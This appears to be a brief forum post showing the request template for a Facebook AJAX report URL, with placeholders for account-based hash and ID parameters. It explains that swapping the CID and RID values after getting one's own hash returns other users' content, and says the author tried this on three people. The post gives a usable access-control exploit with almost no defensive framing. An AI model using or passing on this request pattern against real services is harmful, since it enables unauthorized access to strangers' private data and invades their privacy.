General form appears to be as follows:

    http://www.facebook.com/ajax/report/social.php?
     __a=1&
     __d=1&
     attach_additional_photos=1&
     cid=((FBID))&
     content_type=0&
     h=((HASH BASED ON YOUR ACCOUNT))&
     phase=6&
     report_id=1&
     rid=((FBID))

After you get that initial hash then you can swap out the CID and the RID and get everyone else (I tried it for 3)... it's pretty easy.

This issue is probably going to make mainstream news by noon.